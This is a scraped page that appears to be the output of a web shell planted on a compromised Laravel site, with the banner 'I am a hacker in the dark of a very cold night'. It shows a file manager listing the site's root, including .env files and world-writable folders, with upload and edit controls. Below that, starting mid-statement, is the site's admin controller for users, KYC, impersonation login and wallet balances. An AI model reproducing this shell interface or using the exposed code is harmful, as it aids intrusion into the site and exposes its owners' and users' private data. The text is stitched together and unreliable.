I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
paginate(12);
return view('admin.sections.user-care.index', compact(
'page_title',
'users'
));
}
/**
* Display Active Users
* @return view
*/
public function active()
{
$page_title = __('Active User');
$users = User::active()->where('email_verified', 1)->orderBy('id', 'desc')->paginate(12);
return view('admin.sections.user-care.index', compact(
'page_title',
'users'
));
}
/**
* Display Banned Users
* @return view
*/
public function banned()
{
$page_title = __("Banned Users");
$users = User::banned()->orderBy('id', 'desc')->paginate(12);
return view('admin.sections.user-care.index', compact(
'page_title',
'users',
));
}
/**
* Display Email Unverified Users
* @return view
*/
public function emailUnverified()
{
$page_title = __('Email Unverified Users');
$users = User::active()->orderBy('id', 'desc')->emailUnverified()->paginate(12);
return view('admin.sections.user-care.index', compact(
'page_title',
'users'
));
}
/**
* Display SMS Unverified Users
* @return view
*/
public function SmsUnverified()
{
$page_title = __("SMS Unverified Users");
return view('admin.sections.user-care.index', compact(
'page_title',
));
}
/**
* Display Send Email to All Users View
* @return view
*/
public function emailAllUsers()
{
$page_title = __("Email To Users");
return view('admin.sections.user-care.email-to-users', compact(
'page_title',
));
}
/**
* Display Specific User Information
* @return view
*/
public function userDetails($username)
{
$page_title = __("User Details");
$user = User::where('username', $username)->first();
if(!$user) return back()->with(['error' => ['Opps! User not exists']]);
$balance = UserWallet::where('user_id', $user->id)->first()->balance ?? 0;
$coin = UserCoin::where('user_id', $user->id)->first()->balance ?? 0;
$donation_amount = Transaction::toBase()->where('user_id', $user->id)->where('type', PaymentGatewayConst::TYPEDONATION)->where('status', 1)->sum('request_amount');
$add_money_amount = Transaction::toBase()->where('user_id', $user->id)->where('type', PaymentGatewayConst::TYPEADDMONEY)->where('status', 1)->sum('request_amount');
$last_donation_amount = Transaction::Where('user_id', $user->id)->where('type', PaymentGatewayConst::TYPEDONATION)->where('status', 1)->orderBy('id', 'desc')->first();
$total_transaction = Transaction::toBase()->where('user_id', $user->id)->where('status', 1)->sum('request_amount');
$total_donate = Transaction::toBase()->Where('user_id', $user->id)->where('type', PaymentGatewayConst::TYPEDONATION)->where('status', 1)->count();
$data = [
'balance' => $balance,
'coin' => $coin,
'donation_amount' => $donation_amount,
'last_donation_amount' => $last_donation_amount->request_amount ?? 0,
'total_donate' => $total_donate,
'total_transaction' => $total_transaction,
'add_money_amount' => $add_money_amount,
];
return view('admin.sections.user-care.details', compact(
'page_title',
'user',
'data',
));
}
public function sendMailUsers(Request $request) {
$request->validate([
'user_type' => "required|string|max:30",
'subject' => "required|string|max:250",
'message' => "required|string|max:2000",
]);
$users = [];
switch($request->user_type) {
case "active";
$users = User::active()->get();
break;
case "all";
$users = User::get();
break;
case "email_verified";
$users = User::emailVerified()->get();
break;
case "kyc_verified";
$users = User::kycVerified()->get();
break;
case "banned";
$users = User::banned()->get();
break;
}
try{
Notification::send($users,new SendMail((object) $request->all()));
}catch(Exception $e) {
return back()->with(['error' => [__('Something went wrong! Please try again')]]);
}
return back()->with(['success' => ['Sent All Mail']]);
}
public function sendMail(Request $request, $username)
{
$request->merge(['username' => $username]);
$validator = Validator::make($request->all(),[
'subject' => 'required|string|max:200',
'message' => 'required|string|max:2000',
'username' => 'required|string|exists:users,username',
]);
if($validator->fails()) {
return back()->withErrors($validator)->withInput()->with("modal","email-send");
}
$validated = $validator->validate();
$user = User::where("username",$username)->first();
$validated['user_id'] = $user->id;
$validated = Arr::except($validated,['username']);
$validated['method'] = "SMTP";
try{
UserMailLog::create($validated);
$user->notify(new SendMail((object) $validated));
}catch(Exception $e) {
return back()->with(['error' => [__('Something went wrong! Please try again')]]);
}
return back()->with(['success' => ['Mail successfully sended']]);
}
public function userDetailsUpdate(Request $request, $username)
{
$request->merge(['username' => $username]);
$validator = Validator::make($request->all(),[
'username' => "required|exists:users,username",
'firstname' => "required|string|max:120",
'lastname' => "required|string|max:120",
'mobile_code' => "nullable|string|max:10",
'mobile' => "nullable|string|max:20",
'address' => "nullable|string|max:250",
'country' => "nullable|string|max:50",
'state' => "nullable|string|max:50",
'city' => "nullable|string|max:50",
'zip_code' => "nullable|numeric|max_digits:8",
'email_verified' => 'required|boolean',
'two_factor_verified' => 'required|boolean',
'status' => 'required|boolean',
]);
$validated = $validator->validate();
$validated['address'] = [
'country' => $validated['country'] ?? "",
'state' => $validated['state'] ?? "",
'city' => $validated['city'] ?? "",
'zip' => $validated['zip_code'] ?? "",
'address' => $validated['address'] ?? "",
];
$validated['mobile_code'] = remove_speacial_char($validated['mobile_code']);
$validated['mobile'] = remove_speacial_char($validated['mobile']);
$validated['full_mobile'] = $validated['mobile_code'] . $validated['mobile'];
$user = User::where('username', $username)->first();
if(!$user) return back()->with(['error' => ['Opps! User not exists']]);
// try {
$user->update($validated);
// } catch (Exception $e) {
// return back()->with(['error' => [__('Something went wrong! Please try again')]]);
// }
return back()->with(['success' => [__('Profile Information Updated Successfully!!')]]);
}
public function loginLogs($username)
{
$page_title = __('Login Logs');
$user = User::where("username",$username)->first();
if(!$user) return back()->with(['error' => ['Opps! User doesn\'t exists']]);
$logs = UserLoginLog::where('user_id',$user->id)->paginate(12);
return view('admin.sections.user-care.login-logs', compact(
'logs',
'page_title',
));
}
public function mailLogs($username) {
$page_title = __('User Email Logs');
$user = User::where("username",$username)->first();
if(!$user) return back()->with(['error' => ['Opps! User doesn\'t exists']]);
$logs = UserMailLog::where("user_id",$user->id)->paginate(12);
return view('admin.sections.user-care.mail-logs',compact(
'page_title',
'logs',
));
}
public function loginAsMember(Request $request,$username) {
$request->merge(['username' => $username]);
$request->validate([
'target' => 'required|string|exists:users,username',
'username' => 'required_without:target|string|exists:users',
]);
try{
$user = User::where("username",$request->username)->first();
Auth::guard("web")->login($user);
}catch(Exception $e) {
return back()->with(['error' => [$e->getMessage()]]);
}
return redirect()->intended(route('user.dashboard'));
}
public function kycDetails($username) {
$user = User::where("username",$username)->first();
if(!$user) return back()->with(['error' => ['Opps! User doesn\'t exists']]);
$page_title = __('KYC Profile');
return view('admin.sections.user-care.kyc-details',compact("page_title","user"));
}
public function kycApprove(Request $request, $username) {
$request->merge(['username' => $username]);
$request->validate([
'target' => "required|exists:users,username",
'username' => "required_without:target|exists:users,username",
]);
$user = User::where('username',$request->target)->orWhere('username',$request->username)->first();
if($user->kyc_verified == GlobalConst::VERIFIED) return back()->with(['warning' => ['User already KYC verified']]);
if($user->kyc == null) return back()->with(['error' => ['User KYC information not found']]);
try{
$user->update([
'kyc_verified' => GlobalConst::APPROVED,
]);
}catch(Exception $e) {
$user->update([
'kyc_verified' => GlobalConst::PENDING,
]);
return back()->with(['error' => [__('Something went wrong! Please try again')]]);
}
return back()->with(['success' => [__('User KYC successfully approved')]]);
}
public function kycReject(Request $request, $username) {
$request->validate([
'target' => "required|exists:users,username",
'reason' => "required|string|max:500"
]);
$user = User::where("username",$request->target)->first();
if(!$user) return back()->with(['error' => ['User doesn\'t exists']]);
if($user->kyc == null) return back()->with(['error' => [__('User KYC information not found')]]);
try{
$user->update([
'kyc_verified' => GlobalConst::REJECTED,
]);
$user->kyc->update([
'reject_reason' => $request->reason,
]);
}catch(Exception $e) {
$user->update([
'kyc_verified' => GlobalConst::PENDING,
]);
$user->kyc->update([
'reject_reason' => null,
]);
return back()->with(['error' => [__('Something went wrong! Please try again')]]);
}
return back()->with(['success' => [__('User KYC information is rejected')]]);
}
public function search(Request $request) {
$validator = Validator::make($request->all(),[
'text' => 'required|string',
]);
if($validator->fails()) {
$error = ['error' => $validator->errors()];
return Response::error($error,null,400);
}
$validated = $validator->validate();
$users = User::search($validated['text'])->limit(10)->get();
return view('admin.components.search.user-search',compact(
'users',
));
}
public function walletBalanceUpdate(Request $request,$username) {
$validator = Validator::make($request->all(),[
'type' => "required|string|in:add,subtract",
'wallet' => "required|numeric|exists:user_wallets,id",
'amount' => "required|numeric",
'remark' => "required|string|max:200",
]);
if($validator->fails()) {
return back()->withErrors($validator)->withInput()->with('modal','wallet-balance-update-modal');
}
$validated = $validator->validate();
$user_wallet = UserWallet::whereHas('user',function($q) use ($username){
$q->where('username',$username);
})->find($validated['wallet']);
if(!$user_wallet) return back()->with(['error' => [__('User wallet not found!')]]);
DB::beginTransaction();
try{
$user_wallet_balance = 0;
switch($validated['type']){
case "add":
$user_wallet_balance = $user_wallet->balance + $validated['amount'];
$user_wallet->balance += $validated['amount'];
break;
case "subtract":
if($user_wallet->balance >= $validated['amount']) {
$user_wallet_balance = $user_wallet->balance - $validated['amount'];
$user_wallet->balance -= $validated['amount'];
}else {
return back()->with(['error' => ['User do not have sufficient balance']]);
}
break;
}
$inserted_id = DB::table("transactions")->insertGetId([
'admin_id' => auth()->user()->id,
'user_id' => $user_wallet->user->id,
'user_wallet_id' => $user_wallet->id,
'type' => PaymentGatewayConst::TYPEADDSUBTRACTBALANCE,
'attribute' => PaymentGatewayConst::RECEIVED,
'trx_id' => generate_unique_string("transactions","trx_id",16),
'request_amount' => $validated['amount'],
'payable' => $validated['amount'],
'available_balance' => $user_wallet_balance,
'remark' => $validated['remark'],
'status' => GlobalConst::SUCCESS,
]);
DB::table('transaction_charges')->insert([
'transaction_id' => $inserted_id,
'percent_charge' => 0,
'fixed_charge' => 0,
'total_charge' => 0,
'created_at' => now(),
]);
$client_ip = request()->ip() ?? false;
$location = geoip()->getLocation($client_ip);
$agent = new Agent();
// $mac = exec('getmac');
// $mac = explode(" ",$mac);
// $mac = array_shift($mac);
$mac = "";
DB::table("transaction_devices")->insert([
'transaction_id'=> $inserted_id,
'ip' => $client_ip,
'mac' => $mac,
'city' => $location['city'] ?? "",
'country' => $location['country'] ?? "",
'longitude' => $location['lon'] ?? "",
'latitude' => $location['lat'] ?? "",
'timezone' => $location['timezone'] ?? "",
'browser' => $agent->browser() ?? "",
'os' => $agent->platform() ?? "",
]);
$user_wallet->save();
$notification_content = [
'title' => "Update Balance",
'message' => "Your Wallet (".$user_wallet->currency->code.") balance has been update",
'time' => Carbon::now()->diffForHumans(),
'image' => files_asset_path('profile-default'),
];
UserNotification::create([
'type' => NotificationConst::BALANCE_UPDATE,
'user_id' => $user_wallet->user->id,
'message' => $notification_content,
]);
event(new NotificationEvent($notification_content,$user_wallet->user));
DB::commit();
}catch(Exception $e) {
DB::rollBack();
return back()->with(['error' => ['Transaction failed! '. $e->getMessage()]]);
}
return back()->with(['success' => [__('Transaction success')]]);
}
public function coinBalanceUpdate(Request $request,$username) {
$validator = Validator::make($request->all(),[
'type' => "required|string|in:add,subtract",
'user_id' => "required|numeric|exists:users,id",
'amount' => "required|numeric",
]);
if($validator->fails()) {
return back()->withErrors($validator)->withInput()->with('modal','coin-balance-update-modal');
}
$validated = $validator->validate();
$user_coin = UserCoin::whereHas('user',function($q) use ($username){
$q->where('username',$username);
})->where('user_id', $validated['user_id'])->first();
if(!$user_coin){
$user_coin = UserCoin::create([
'user_id' => $validated['user_id'],
'balance' => 0,
'status' => 1,
]);
}
DB::beginTransaction();
try{
$user_coin_balance = 0;
switch($validated['type']){
case "add":
$user_coin_balance = $user_coin->balance + $validated['amount'];
$user_coin->balance += $validated['amount'];
$type = "credit";
break;
case "subtract":
$type = "debit";
if($user_coin->balance >= $validated['amount']) {
$user_coin_balance = $user_coin->balance - $validated['amount'];
$user_coin->balance -= $validated['amount'];
}else {
return back()->with(['error' => ['User do not have sufficient balance']]);
}
break;
}
$user_coin->save();
DB::table("coin_transactions")->insertGetId([
'user_coin_id' => $user_coin->id,
'user_id' => $validated['user_id'],
'createdby' => auth()->user()->id,
'type' => $type,
'amount' => $validated['amount'],
'balance' => $user_coin->balance,
'remark' => $request->remark ?? null,
'created_at' => now(),
'updated_at' => now(),
]);
$notification_content = [
'title' => "Update Balance",
'message' => "Your coin (".$user_coin->balance.") balance has been update",
'time' => Carbon::now()->diffForHumans(),
'image' => files_asset_path('profile-default'),
];
UserNotification::create([
'type' => NotificationConst::BALANCE_UPDATE,
'user_id' => $user_coin->user->id,
'message' => $notification_content,
]);
event(new NotificationEvent($notification_content,$user_coin->user));
DB::commit();
}catch(Exception $e) {
DB::rollBack();
return back()->with(['error' => ['Transaction failed! '. $e->getMessage()]]);
}
return back()->with(['success' => [__('Transaction success')]]);
}
}